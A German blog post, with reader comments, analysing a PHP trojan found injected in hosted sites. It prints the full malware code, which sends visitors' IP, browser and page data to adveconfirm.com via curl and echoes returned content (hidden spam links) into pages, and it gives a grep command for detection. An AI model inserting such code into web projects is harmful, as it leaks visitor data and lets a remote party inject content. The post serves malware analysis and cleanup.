Über den Author / Internet / PHP Trojaner von adveconfirm.com

PHP Trojaner von adveconfirm.com

~3 Min. Lesezeit

Ich habe diverse Webseiten von einem Kollegen auf einen meiner Server verschiebt. Dabei waren plötzlich diverse Seiten von einer Ladezeit von 20 Sekunden betroffen. Also habe ich ein Blick in den Source riskiert und folgenden Code gefunden, wo ich zerstückelt hier analysiere:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;

Zuerst schaut der Code, ob er bereits einmal aufgeführt wurde, wenn nicht, startet er sich selbst, sonst lässt er es.
So führt sich der Code nur einmal aus.

// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";

Der Code ist kommentiert 😉 Nett. Laut Kommentar erstellt es Statistiken von Bots.

if((strstr($sUserAgent, 'google') == false) // Bot comes
&& (strstr($sUserAgent, 'baidu') == false) && (strstr($sUserAgent, 'msn') == false)
&& (strstr($sUserAgent, 'opera') == false) && (strstr($sUserAgent, 'chrome') == false)
&& (strstr($sUserAgent, 'bing') == false) && (strstr($sUserAgent, 'safari') == false)
&& (strstr($sUserAgent, 'bot') == false) && (strstr($sUserAgent, 'yahoo') == false))
{

Laut Kommentar, wenn ein Bot kommt, aber die Funktion macht das Gegenteil, wenn kein Bot kommt, also ein normaler User (keine opera und safari User)…

if(isset($_SERVER['REMOTE_ADDR']) == true &&
isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics

Wenn eine IP / Host von dem Aufruf gesetzt ist, also nur wirkliche Webbrowser Aufrufe, keine Cronjob oder Aufrufe vopn der Shell selbst.

$stCurlLink = base64_decode( 'aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw').
'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).
'&domainname='.urlencode($_SERVER['HTTP_HOST']).
'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

Hier wird eine URL zusammengesetzt, zum Beispiel diese:

http://adveconfirm.com/stat/stat.php?ip=62.167.118.61&useragent=Google%20Chrome&domainname=www.murawski.ch&fullpath=%2Ftest.php&check=

$stCurlHandle = curl_init( $stCurlLink ); 
}}

Diese URL beinhaltet diverse Informationen welche dann an die Seite adveconfirm.com übermittelt wird.
Die fremde Seite hat somit alle Daten der Besucher auf der eigenen Seite.
So hat er die Besucher IP, der Browser wo benutzt wird und welche Domain er besucht hat.
Weiterhin kann auch ein Parameter übermittelt werden an die eigene Seite, womit die fremde Seite dann mitbekommt ob es wirklich angekommen ist.

Per curl_init() wird die Verbindung aufgemacht zur fremden Seite.

if ( $stCurlHandle !== NULL )
{

Hier wird geprüft ob eine Verbindung hergestellt werden konnte.

curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

Hier wird definiert das die fremde Seite auch Code zurück an die eigene Seite senden kann.

$sResult = @curl_exec($stCurlHandle); 

Hier wird nun endlich der Code abgeschickt und die Rückgabe abgefangen.

if ($sResult[0]=="O")

Falls das erste Zeichen der Rückgabe ein O ist, beinhaltet es ein Code zum ausführen, sonst nicht.

{ $sResult[0]=" ";

Hier wird das erste Zeichen der Rückgabe gegen ein Leerzeichen ersetzt.

echo $sResult; // Statistic code end

Hier wird die Rückgabe in die eigene Seite eingebaut. Netter Java Code oder einfach versteckte Links auf fremde Seiten.
Dies nennt man BlackHat SEO, oder auch Cloaking.

}
curl_close($stCurlHandle); 
}}

Und der Abschluss.

Dies war eine andere Herangehensweise eines Trojaners. Anstelle alles komplett zu Verschlüsseln und zu verstecken, hat man hier ein gut lesbaren Code erhalten, jedoch hat der Programmierer Kommentare hinzugefügt um den Seiteninhaber zu täuschen.

Die Webseite selbst welche die Codes liefert kann per Browser auch nicht aufgerufen werden, da diese bereits gesperrt wurde im Firefox:

Der Trojaner war in rund 20 PHP Dateien beim gleichen User versteckt. Der Rest vom Server war clean. Ich nehme aus diesem Grund an das ein FTP Account gehackt wurde und damit das Webhosting infiziert wurde.

Um ein kompletten Server zu scannen, kann man folgenden Befehl verwenden:

grep -e ‚aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw‘ -R /var/www/

About Stefan

avatar
Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner (Teil 3: Spamsender Infektion)

~1 Min. LesezeitSpam ist ein grosses Problem der heutigen Zeit, doch wer verschickt Spam und …

PHP Trojaner (Teil 2: Uploader Infektion)

~1 Min. LesezeitPHP Trojaner sind beliebt, denn oft werden solche Infektionen übersehen und überstehen Jahre …

14 Kommentare

  1. avatar

    Tada, hast wieder eine gute Tag vollbracht ;-). Gruss.

  2. avatar

    Hat sich aber wieder selbst reingeschrieben… Also ist noch irgendwo ein Schläfer, den jage ich am Abend…

  3. avatar

    Hallo,

    erstmal vielen Dank für die ausführliche Erläuterung. ich habe gerade just denselben Code auf diversen Seiten einer Domain gefunden, infiziert wurden ausschließlich index/page/main-Dateien. Eine Rückgabe aus dem cURL-Aufruf zu erhalten ist mir bisher übrigens nicht gelungen. Der Code ist entfernt und soweit nicht wieder aufgetaucht, trotzdem bin ich sehr gespannt auf die Ergebnisse deiner Schläferjagd.

    Gruß

  4. avatar

    Der code ist bei mir erst nach 24 Stunden zurückgekommen :/
    Nimmt mich auch Wunder, den finde ich aber schon 😉

  5. avatar

    Aber was bringt es dann dem hacker? Es sind doch nur IP’s, seiten und browser infos?

  6. avatar

    Nachtrag: Wie ich gedacht habe, kommt der Trojaner kommt per gehacktem FTP Account in das Hosting. Unbedingt FTP Passwört ändern und erst anschliessend cleanen.

    Bei mir kam der Virus von folgenden Servern:
    sci.scientificjournalism.org
    server.mainlinesecurityestatemanagement.com
    streamer.ezyhost.me
    (Habe alle Anbieter informiert, mal schauen wie lange es geht bis diese bereinigt sind)

  7. avatar

    Falsch, bei der Rückgabe kann ich problemlos ein:

    O<div style="display:none;"><a href="…">wasauchimmer</a></div>

    einbauen.

    Das O wird mit leerzeichen ersetzt und meine „Links“ unsichtbar auf Fremdseiten platziert…

    Die fremde Seite kann also eigene Inhalte bei dir reinladen.

  8. avatar

    Eine gute Nachricht, EzyHost hat sich gemeldet und den Server abgeschaltet. 2 ausstehend.

  9. avatar

    Ich hab exakt das selbe gehabt und einige Zeit gebraucht um zu verstehen was drauf ist. Einige meldeten Malware einige gar nichts und eine bekannte stieß dann auf den Code. Wir haben den vollständig aus sämtlichen Dateien entfernt und nun bin ich gespannt wie lang das gut geht. Eine andere bekannte hat seit gestern/heute das selbe Problem

  10. avatar

    hab das ding nun auch, wie führe ich den befehl aus, um den server zu scannen? hab nen privaten. 🙁

  11. avatar

    Steht oben im Artikel, siehe den allerletzte Zeile.

  12. avatar

    da steht ja nur der befehl. aber wie führe ich den denn aus und wo? ich kenn mich damit jetz nich so aus, und da steht ja nicht, wo oder wie man den ausführt 🙁

  1. Pingback: Blog gehackt was tun? > Allgemein > Blog gehackt, Malware, PHP Trojaner

  2. Pingback: PHP Trojaner suchen und finden › IT Blögg

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.

This Blog will give regular Commentators DoFollow Status. Implemented from IT Blögg